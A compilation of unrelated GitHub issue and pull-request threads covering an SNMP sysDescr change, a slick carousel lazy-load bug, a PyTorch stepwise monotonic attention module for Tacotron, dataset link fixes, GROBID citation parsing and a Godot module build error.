Can you give a little more color as to what you're hopping to achieve here? Is is bad to poll sysdesc?

I need to perform "conversion" with "regex" on the sysDescr and extract the information which is inside the sysDescr. In order to do it, I need to be able to specify sysDescr in the profiles and have it "usable" from profiles. At the moment, any configuration of the sysDescr OID inside the profiles is ignored, since it is added in the "hardcoded" way.
I removed only sysDescr as I don't have any specific needs from other hardcoded values and for the moment I can used them the way they are exposed. But in general case, it would be preferable using profiles instead of hardcoded behavior. As I don't understand the code fully and I don't know where this is used or important on some other places or behaviors,I just wanted to minimize the potential impact on other functionalities relying on this code.

https://github.com/kentik/ktranslate/compare/kentik
Does this get you more what you are looking for?

repo: kentik/ktranslate


text:
Adding "fade: true" breaks lazy loading

While constructing a carousel using lazyLoad I've noticed that if I had the "fade: True" option, all images will load right away instead of using lazyLoad.
Here's the code I used in order to reproduce the problem:
$('.single-item').slick({
dots: true,
infinite: true,
speed: 500,
lazyLoad: 'ondemand',
slidesToShow: 1,
cssEase: 'linear',
fade: true
});

Hey I think this is a duplicate of this issue. Im going to close it to avoid the clutter, but if you think it's different we can look at reopening. Also, check out the contribution guidelines, for bugs it's pretty crucial to have a reduced test case in a fiddle or something. Thanks!

authors: johanngonzalez leggomuhgreggo

repo: kenwheeler/slick


text:
Generate generic type parameter names from their type names

for better documentation and user ergonomics

This is more important
as we introduces more type params like 016c9b88092485b735d181f98e6c2f2776becfbc


text:
103: Parse default eslint file and increase test coverage for option parsing

Associated Issue:
resolves issue #103
Changes made:
JSON.parse default config file

Can one of the admins verify this patch?

@bsawyer
Would a refactor of this magnitude be better served through an improvement ticket?  I get the desire to clean up, but seems like a big delta for a one line change.

thoughts @bsawyer ^?

I would usually agree refactors should be left to improvements rather that bugs however not having any relevant tests for a bug fix, I think, is a worse scenario. I'm fine with moving the refactor portion of this to an improvement but I also thought the complexity of the refactor was minimal as it is a simple functional abstraction. @thescientist13

ok to test

@bsawyer
Great point about the unit tests.  I do agree.  While we're at it, what about a name change around the getPipelineConfig naming convention?  maybe pipelineConfigBuilder.  Maybe it's a my browser based brain, but get makes me thinking of Ajax or fetch.  Totally open to thoughts here.
Also, not sure if this is something that could be handy in the pipeline-handyman repo?  (as an improvement)
cc: @paul-barry-kenzan

repo: kenzanlabs/pipeline-validate-js


text:
Traditional Chinese(zh-TW) language support

Hi @keon  ,This is an awesome project.I hope more people can see .
I have completed the translation of Traditional Chinese and I have made a PR.
May you add the Traditional Chinese version on this repo?

Done. Your PR is merged @NeroCube.
Thanks a ton for this amazing effort. I'm sure this will benefit thousands of Chinese readers!
Please do share this on Chinese social media!

Thanks! I will do my best to let more Chinese users see this awesome project.

authors: NeroCube NirantK

repo: keon/awesome-nlp


text:
Apply Pytorch Stepwise_Monotonic_Attention for Tacotron

Can I apply this implementation to replace the Location sensitive attention in your previous Tacotron2 repo:
https://github.com/keonlee9420/tacotron2_MMI/blob/fe0e19fdb00f2554d99b0f33e56d65a1d1956b86/model.py#L227

Hi @v-nhandt21 , theoretically yes you can replace it by SMA, but please note that the current implementation is only tested as an aligner in the reference encoder like architecture.

Yes, thank @keonlee9420 , I have used Stepwise Monotonic Attention for Tacotron2 and It gives me better results (more robust) than Location Sensitive Attention, Forward Attention, and Dynamic Convolution Attention
`class StepwiseMonotonicAttention(nn.Module):
def __init__(self, attention_rnn_dim, embedding_dim, attention_dim,
             attention_location_n_filters, attention_location_kernel_size):
    super(StepwiseMonotonicAttention, self).__init__()
    self.memory_layer = LinearNorm(embedding_dim, attention_dim, bias=False, w_init_gain='tanh')
    self.score_mask_value = -float("inf")
    sigmoid_noise=2.0

    self.tanh = nn.Tanh()
    self.v = nn.Linear(attention_dim, 1, bias=False)
    self.query_layer = LinearNorm(attention_rnn_dim, attention_dim,
                                  bias=False, w_init_gain='tanh')
    self.alignment = None # alignment in previous query time step
    self.sigmoid_noise = sigmoid_noise

def init_attention(self, processed_memory):
    b, t, c = processed_memory.size()
    self.alignment = processed_memory.new_zeros(b, t)
    self.alignment[:, 0:1] = 1

def stepwise_monotonic_attention(self, p_i, prev_alignment):
    pad = prev_alignment.new_zeros(prev_alignment.size(0), 1)
    alignment = prev_alignment * p_i + torch.cat((pad, prev_alignment[:, :-1] * (1.0 - p_i[:, :-1])), dim=1)
    return alignment

def get_selection_probability(self, e, std):
    if self.training:
        noise = e.new_zeros(e.size()).normal_()
        e = e + noise * std
    return torch.sigmoid(e)

def get_probabilities(self, energies):
    p_i = self.get_selection_probability(energies, self.sigmoid_noise)
    alignment = self.stepwise_monotonic_attention(p_i, self.alignment)

    # (batch, max_time)
    self.alignment = alignment
    return alignment

def get_energies(self, query, processed_memory,
                           attention_weights_cat):

    processed_query = self.query_layer(query.unsqueeze(1))
    energies = self.v(torch.tanh(processed_query + processed_memory))
    energies = energies.squeeze(-1)

    return energies

def forward(self, attention_hidden_state, memory, processed_memory,
            attention_weights_cat, mask, log_alpha):

    alignment = self.get_energies(attention_hidden_state, processed_memory, attention_weights_cat) # (batch, max_time)

    if mask is not None:
        alignment.data.masked_fill_(mask, self.score_mask_value)

    alignment = self.get_probabilities(alignment)

    # print(alignment)
    attention_weights = alignment #F.softmax(alignment, dim=1)
    attention_context = torch.bmm(attention_weights.unsqueeze(1), memory) # (batch, 1, dim)
    attention_context = attention_context.squeeze(1) # # (batch, dim)

    return attention_context, attention_weights`

Yes, thank @keonlee9420 , I have used Stepwise Monotonic Attention for Tacotron2 and It gives me better results (more robust) than Location Sensitive Attention, Forward Attention, and Dynamic Convolution Attention
`class StepwiseMonotonicAttention(nn.Module):
def __init__(self, attention_rnn_dim, embedding_dim, attention_dim,
             attention_location_n_filters, attention_location_kernel_size):
    super(StepwiseMonotonicAttention, self).__init__()
    self.memory_layer = LinearNorm(embedding_dim, attention_dim, bias=False, w_init_gain='tanh')
    self.score_mask_value = -float("inf")
    sigmoid_noise=2.0

    self.tanh = nn.Tanh()
    self.v = nn.Linear(attention_dim, 1, bias=False)
    self.query_layer = LinearNorm(attention_rnn_dim, attention_dim,
                                  bias=False, w_init_gain='tanh')
    self.alignment = None # alignment in previous query time step
    self.sigmoid_noise = sigmoid_noise

def init_attention(self, processed_memory):
    b, t, c = processed_memory.size()
    self.alignment = processed_memory.new_zeros(b, t)
    self.alignment[:, 0:1] = 1

def stepwise_monotonic_attention(self, p_i, prev_alignment):
    pad = prev_alignment.new_zeros(prev_alignment.size(0), 1)
    alignment = prev_alignment * p_i + torch.cat((pad, prev_alignment[:, :-1] * (1.0 - p_i[:, :-1])), dim=1)
    return alignment

def get_selection_probability(self, e, std):
    if self.training:
        noise = e.new_zeros(e.size()).normal_()
        e = e + noise * std
    return torch.sigmoid(e)

def get_probabilities(self, energies):
    p_i = self.get_selection_probability(energies, self.sigmoid_noise)
    alignment = self.stepwise_monotonic_attention(p_i, self.alignment)

    # (batch, max_time)
    self.alignment = alignment
    return alignment

def get_energies(self, query, processed_memory,
                           attention_weights_cat):

    processed_query = self.query_layer(query.unsqueeze(1))
    energies = self.v(torch.tanh(processed_query + processed_memory))
    energies = energies.squeeze(-1)

    return energies

def forward(self, attention_hidden_state, memory, processed_memory,
            attention_weights_cat, mask, log_alpha):

    alignment = self.get_energies(attention_hidden_state, processed_memory, attention_weights_cat) # (batch, max_time)

    if mask is not None:
        alignment.data.masked_fill_(mask, self.score_mask_value)

    alignment = self.get_probabilities(alignment)

    # print(alignment)
    attention_weights = alignment #F.softmax(alignment, dim=1)
    attention_context = torch.bmm(attention_weights.unsqueeze(1), memory) # (batch, 1, dim)
    attention_context = attention_context.squeeze(1) # # (batch, dim)

    return attention_context, attention_weights`

Thanks for sharing! Wow, It seems really promising. I think your experiment can boost up the community in terms of the most robust aligner in AR-based TTS model :)


text:
fix(tmux): apply colourscheme to tmux

Instead of only suppplying the colours, apply them to tmux as well. These changes have been found in the original author's, @tklai, dotfile repository.
Resolves #89

Thanks!

authors: jbouter kepano

repo: kepano/flexoki


text:
Add installation script for Mac (Apple Silicon)

Installation script for keploy binary for MacOS Apple Silicon systems.

Closing this PR in reference to more discussion on Slack.

authors: btofficiel nehagup

repo: keploy/samples-go


text:
get.keptn.sh points to old version

In the quickstart guide https://keptn.sh/docs/quickstart/#2-1-install-the-keptn-cli the link points to the old version of Keptn 0.5.0 instead of 0.5.2.
See here: https://get.keptn.sh/
would be happy to fix it but I honestly don't know where this file lives.

fixed.


text:
Broken dataset link

https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB-4869-8368-6DEBA77B919F/kagglecatsanddogs_3367a.zip
it returns 404

Hi,
Please refer the updated URL here https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB-4869-8368-6DEBA77B919F/kagglecatsanddogs_5340.zip

authors: egorgam sachinprasadhs

repo: keras-team/keras-io


text:
GROBID identifies  tag but does not correctly identify the target.

In the attached PDF, GROBID correctly identifies citation [3]. However, it does not identify the target. This happens for multiple citations in the paper and across papers. It seems as if GROBID is succeeding in the hard work but not tying easier part of the process.
Stawarczyk_et_al_J_clin_Oral_Inv_2012_BST.pdf

Hello Josh, thanks for the issue!
It's an interesting example, actually GROBID incorrectly labels the sequence
MgO [4], Y 2 O 3 [5-8] and CeO 2 [9]. Y 2 O 3 (approximately 3 mol%) is the most widely used stabilizer for dental zirconia (Y-TZP)
as a table, which is very weird. So as it is considered as a table content, the bibliographical references are not identified and not matched.
I think this kind of error of bad table classification can be easily controlled by adding a feature to the classifier indicating that the content is inline with a paragraph which is not possible for a table. I will do some experiments, so thanks for this example and the reproducible case.
An other problem is that this wrong table is so weird, that it is actually filter out as noisy spurious hypothesis and it is not even outputed in the TEI. So we have a content deletion, which is something I try to avoid, but it is still present in this case.


text:
Architecture parameter

Possibility to add a parameter in the config properties file for selecting the architecture of choice for the DeLFT model (default is BidLSTM-CRF). For the moment only a default architecture selection for all models is considered, it would need to be extended per model similarly as the sequence labelling engine.
grobid.delft.architecture=BidLSTM_CRF

At instantiation of the model, the model files corresponding to the architecture have to be present under grobid-home/models/.

Coverage decreased (-0.02%) to 38.176% when pulling 475d6b5c3965b089dc68f07a7bbf1c4681b41d02 on architecture-parameter into c3d3a73fe32565f534a9b2ae72af2083bbe46d45 on master.

Looks good, I merge... Next step would be to have the architecture defined at model level, like the engine, which is straightforward,


text:
Latest version does not seem to compile correctly. (Godot 3.0.5 Stable)

Hello!
It gives me an error the likes of...
scons: Reading SConscript files ...
Detected MSVC compiler: x86
Compiled program architecture will be a 32 bit executable. (forcing bits=32).
TypeError: can_build() takes exactly 2 arguments (1 given):
File "I:\godot-3.0.5-stable\SConstruct", line 407:
if (config.can_build(selected_platform)):
But when I remove the "creaturegodot" folder, it compiles correctly. I did use the folder that was inside "creaturegodot3".

Then there must be something very wrong on my end.
 Creature is the only module that I have over.
Well, then. Thank you very much for checking, still. I appreciate it.

Hello,
I am on the latest master branch of the godot engine github. I did a full git pull, and a rebuild. Everything built out fine.

authors: The-Patriach kestrelm